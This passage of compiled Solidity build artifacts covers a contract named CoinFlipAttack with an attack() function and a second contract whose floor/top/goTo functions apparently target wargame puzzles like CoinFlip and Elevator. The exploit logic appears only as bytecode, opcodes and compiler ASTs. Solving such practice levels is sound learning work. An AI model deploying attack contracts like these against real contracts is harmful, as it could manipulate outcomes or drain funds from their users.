DUP4 PUSH2 0x23F JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x228 JUMPI PUSH2 0x227 PUSH2 0x249 JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x12 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x2B5 DUP2 PUSH2 0x233 JUMP JUMPDEST DUP2 EQ PUSH2 0x2C0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0x2B ORIGIN 0xC9 0xD6 DUP10 MSTORE8 0xC8 CALLDATACOPY SHR PUSH32 0x396F8ACD24EBA832A699825D41DE270A2A8A3CAC4AD664736F6C634300080700 CALLER ",
"sourceMap": "239:516:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;517:235;;;:::i;:::-;;;553:18;592:19;609:1;592:12;:16;;:19;;;;:::i;:::-;582:30;574:39;;553:60;;624:16;643:22;658:6;;643:10;:14;;:22;;;;:::i;:::-;624:41;;676:9;700:1;688:8;:13;:28;;711:5;688:28;;;704:4;688:28;676:40;;727:6;;;;;;;;;;:11;;;739:4;727:17;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;542:210;;;517:235::o;3108:96:1:-;3166:7;3196:1;3192;:5;;;;:::i;:::-;3185:12;;3108:96;;;;:::o;3836:::-;3894:7;3924:1;3920;:5;;;;:::i;:::-;3913:12;;3836:96;;;;:::o;7:137:2:-;61:5;92:6;86:13;77:22;;108:30;132:5;108:30;:::i;:::-;7:137;;;;:::o;150:345::-;217:6;266:2;254:9;245:7;241:23;237:32;234:119;;;272:79;;:::i;:::-;234:119;392:1;417:61;470:7;461:6;450:9;446:22;417:61;:::i;:::-;407:71;;363:125;150:345;;;;:::o;501:109::-;582:21;597:5;582:21;:::i;:::-;577:3;570:34;501:109;;:::o;616:210::-;703:4;741:2;730:9;726:18;718:26;;754:65;816:1;805:9;801:17;792:6;754:65;:::i;:::-;616:210;;;;:::o;913:185::-;953:1;970:20;988:1;970:20;:::i;:::-;965:25;;1004:20;1022:1;1004:20;:::i;:::-;999:25;;1043:1;1033:35;;1048:18;;:::i;:::-;1033:35;1090:1;1087;1083:9;1078:14;;913:185;;;;:::o;1104:191::-;1144:4;1164:20;1182:1;1164:20;:::i;:::-;1159:25;;1198:20;1216:1;1198:20;:::i;:::-;1193:25;;1237:1;1234;1231:8;1228:34;;;1242:18;;:::i;:::-;1228:34;1287:1;1284;1280:9;1272:17;;1104:191;;;;:::o;1301:90::-;1335:7;1378:5;1371:13;1364:21;1353:32;;1301:90;;;:::o;1397:77::-;1434:7;1463:5;1452:16;;1397:77;;;:::o;1480:180::-;1528:77;1525:1;1518:88;1625:4;1622:1;1615:15;1649:4;1646:1;1639:15;1666:180;1714:77;1711:1;1704:88;1811:4;1808:1;1801:15;1835:4;1832:1;1825:15;1975:117;2084:1;2081;2074:12;2098:116;2168:21;2183:5;2168:21;:::i;:::-;2161:5;2158:32;2148:60;;2204:1;2201;2194:12;2148:60;2098:116;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "152200",
"executionCost": "46569",
"totalCost": "198769"
},
"external": {
"attack()": "infinite"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc"
}
},
"abi": [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/CoinFlipAttack.sol": "CoinFlipAttack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/CoinFlipAttack.sol": {
"keccak256": "0x397f32059a96b9871800fa150fa8d069e6886f2de89d7f8ec5b2e8ba50fe7f5a",
"urls": [
"bzz-raw://4992509da84023c554ceb5898cb7f18711873b5bc12d0e931711114e7219d9cb",
"dweb:/ipfs/QmS7W4X6BmEwf45ASxzfYpQmuPwJsJQBzPaofP57pcueu7"
]
},
"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol": {
"keccak256": "0xa2f576be637946f767aa56601c26d717f48a0aff44f82e46f13807eea1009a21",
"license": "MIT",
"urls": [
"bzz-raw://973868f808e88e21a1a0a01d4839314515ee337ad096286c88e41b74dcc11fc2",
"dweb:/ipfs/QmfYuZxRfx2J2xdk4EXN7jKg4bUYEMTaYk9BAw9Bqn4o2Y"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610351806100206000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80634069536314610046578063ed9a713414610064578063fe6dcdba14610080575b600080fd5b61004e61009e565b60405161005b91906102b7565b60405180910390f35b61007e60048036038101906100799190610251565b6100a4565b005b6100886101e9565b604051610095919061029c565b60405180910390f35b60015481565b60003390508073ffffffffffffffffffffffffffffffffffffffff16635f9a4bca836040518263ffffffff1660e01b81526004016100e291906102b7565b602060405180830381600087803b1580156100fc57600080fd5b505af1158015610110573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101349190610224565b6101e557816001819055508073ffffffffffffffffffffffffffffffffffffffff16635f9a4bca6001546040518263ffffffff1660e01b815260040161017a91906102b7565b602060405180830381600087803b15801561019457600080fd5b505af11580156101a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101cc9190610224565b6000806101000a81548160ff0219169083151502179055505b5050565b60008054906101000a900460ff1681565b600081519050610209816102ed565b92915050565b60008135905061021e81610304565b92915050565b60006020828403121561023a576102396102e8565b5b6000610248848285016101fa565b91505092915050565b600060208284031215610267576102666102e8565b5b60006102758482850161020f565b91505092915050565b610287816102d2565b82525050565b610296816102de565b82525050565b60006020820190506102b1600083018461027e565b92915050565b60006020820190506102cc600083018461028d565b92915050565b60008115159050919050565b6000819050919050565b600080fd5b6102f6816102d2565b811461030157600080fd5b50565b61030d816102de565b811461031857600080fd5b5056fea264697066735822122067447e02e8893893d98c2ff6f791aa4b6f3c24b5050131bafd04dcefba0f9a6864736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x351 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x41 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x40695363 EQ PUSH2 0x46 JUMPI DUP1 PUSH4 0xED9A7134 EQ PUSH2 0x64 JUMPI DUP1 PUSH4 0xFE6DCDBA EQ PUSH2 0x80 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x4E PUSH2 0x9E JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x2B7 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x7E PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x79 SWAP2 SWAP1 PUSH2 0x251 JUMP JUMPDEST PUSH2 0xA4 JUMP JUMPDEST STOP JUMPDEST PUSH2 0x88 PUSH2 0x1E9 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x95 SWAP2 SWAP1 PUSH2 0x29C JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 CALLER SWAP1 POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x5F9A4BCA DUP4 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xE2 SWAP2 SWAP1 PUSH2 0x2B7 JUMP JUMPDEST PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xFC JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x110 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1F NOT PUSH1 0x1F DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0x134 SWAP2 SWAP1 PUSH2 0x224 JUMP JUMPDEST PUSH2 0x1E5 JUMPI DUP2 PUSH1 0x1 DUP2 SWAP1 SSTORE POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x5F9A4BCA PUSH1 0x1 SLOAD PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x17A SWAP2 SWAP1 PUSH2 0x2B7 JUMP JUMPDEST PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x194 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x1A8 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1F NOT PUSH1 0x1F DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0x1CC SWAP2 SWAP1 PUSH2 0x224 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP JUMPDEST POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x209 DUP2 PUSH2 0x2ED JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x21E DUP2 PUSH2 0x304 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x23A JUMPI PUSH2 0x239 PUSH2 0x2E8 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x248 DUP5 DUP3 DUP6 ADD PUSH2 0x1FA JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x267 JUMPI PUSH2 0x266 PUSH2 0x2E8 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x275 DUP5 DUP3 DUP6 ADD PUSH2 0x20F JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x287 DUP2 PUSH2 0x2D2 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x296 DUP2 PUSH2 0x2DE JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2B1 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x27E JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2CC PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x28D JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x2F6 DUP2 PUSH2 0x2D2 JUMP JUMPDEST DUP2 EQ PUSH2 0x301 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x30D DUP2 PUSH2 0x2DE JUMP JUMPDEST DUP2 EQ PUSH2 0x318 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH8 0x447E02E8893893D9 DUP13 0x2F 0xF6 0xF7 SWAP2 0xAA 0x4B PUSH16 0x3C24B5050131BAFD04DCEFBA0F9A6864 PUSH20 0x6F6C634300080700330000000000000000000000 ",
"sourceMap": "60:274:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@floor_5": {
"entryPoint": 158,
"id": 5,
"parameterSlots": 0,
"returnSlots": 0
},
"@goTo_37": {
"entryPoint": 164,
"id": 37,
"parameterSlots": 1,
"returnSlots": 0
},
"@top_3": {
"entryPoint": 489,
"id": 3,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_decode_t_bool_fromMemory": {
"entryPoint": 506,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_t_uint256": {
"entryPoint": 527,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_bool_fromMemory": {
"entryPoint": 548,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 593,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_bool_to_t_bool_fromStack": {
"entryPoint": 638,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 653,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed": {
"entryPoint": 668,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 695,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_bool": {
"entryPoint": 722,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 734,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 744,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_bool": {
"entryPoint": 749,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 772,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:2417:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "67:77:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "77:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "92:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "86:5:1"
},
"nodeType": "YulFunctionCall",
"src": "86:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "77:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "132:5:1"
}
],
"functionName": {
"name": "validator_revert_t_bool",
"nodeType": "YulIdentifier",
"src": "108:23:1"
},
"nodeType": "YulFunctionCall",
"src": "108:30:1"
},
"nodeType": "YulExpressionStatement",
"src": "108:30:1"
}
]
},
"name": "abi_decode_t_bool_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "45:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "53:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "61:5:1",
"type": ""
}
],
"src": "7:137:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "202:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "212:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "234:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "221:12:1"
},
"nodeType": "YulFunctionCall",
"src": "221:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "212:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "277:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "250:26:1"
},
"nodeType": "YulFunctionCall",
"src": "250:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "250:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "180:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "188:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "196:5:1",
"type": ""
}
],
"src": "150:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "369:271:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "415:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "417:77:1"
},
"nodeType": "YulFunctionCall",
"src": "417:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "417:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "390:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "399:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "386:3:1"
},
"nodeType": "YulFunctionCall",
"src": "386:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "411:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "382:3:1"
},
"nodeType": "YulFunctionCall",
"src": "382:32:1"
},
"nodeType": "YulIf",
"src": "379:119:1"
},
{
"nodeType": "YulBlock",
"src": "508:125:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "523:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "537:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "527:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "552:71:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "595:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "606:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "591:3:1"
},
"nodeType": "YulFunctionCall",
"src": "591:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "615:7:1"
}
],
"functionName": {
"name": "abi_decode_t_bool_fromMemory",
"nodeType": "YulIdentifier",
"src": "562:28:1"
},
"nodeType": "YulFunctionCall",
"src": "562:61:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "552:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_bool_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "339:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "350:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "362:6:1",
"type": ""
}
],
"src": "295:345:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "712:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "758:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "760:77:1"
},
"nodeType": "YulFunctionCall",
"src": "760:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "760:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "733:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "742:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "729:3:1"
},
"nodeType": "YulFunctionCall",
"src": "729:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "754:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "725:3:1"
},
"nodeType": "YulFunctionCall",
"src": "725:32:1"
},
"nodeType": "YulIf",
"src": "722:119:1"
},
{
"nodeType": "YulBlock",
"src": "851:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "866:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "880:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "870:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "895:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "930:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "941:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "926:3:1"
},
"nodeType": "YulFunctionCall",
"src": "926:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "950:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "905:20:1"
},
"nodeType": "YulFunctionCall",
"src": "905:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "895:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "682:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "693:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "705:6:1",
"type": ""
}
],
"src": "646:329:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1040:50:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1057:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1077:5:1"
}
],
"functionName": {
"name": "cleanup_t_bool",
"nodeType": "YulIdentifier",
"src": "1062:14:1"
},
"nodeType": "YulFunctionCall",
"src": "1062:21:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1050:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1050:34:1"
},
"nodeType": "YulExpressionStatement",
"src": "1050:34:1"
}
]
},
"name": "abi_encode_t_bool_to_t_bool_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1028:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1035:3:1",
"type": ""
}
],
"src": "981:109:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1161:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1178:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1201:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "1183:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1183:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1171:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1171:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "1171:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1149:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1156:3:1",
"type": ""
}
],
"src": "1096:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1312:118:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1322:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1334:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1345:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1330:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1330:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1322:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1396:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1409:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1420:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1405:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1405:17:1"
}
],
"functionName": {
"name": "abi_encode_t_bool_to_t_bool_fromStack",
"nodeType": "YulIdentifier",
"src": "1358:37:1"
},
"nodeType": "YulFunctionCall",
"src": "1358:65:1"
},
"nodeType": "YulExpressionStatement",
"src": "1358:65:1"
}
]
},
"name": "abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1284:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1296:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1307:4:1",
"type": ""
}
],
"src": "1220:210:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1534:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1544:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1556:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
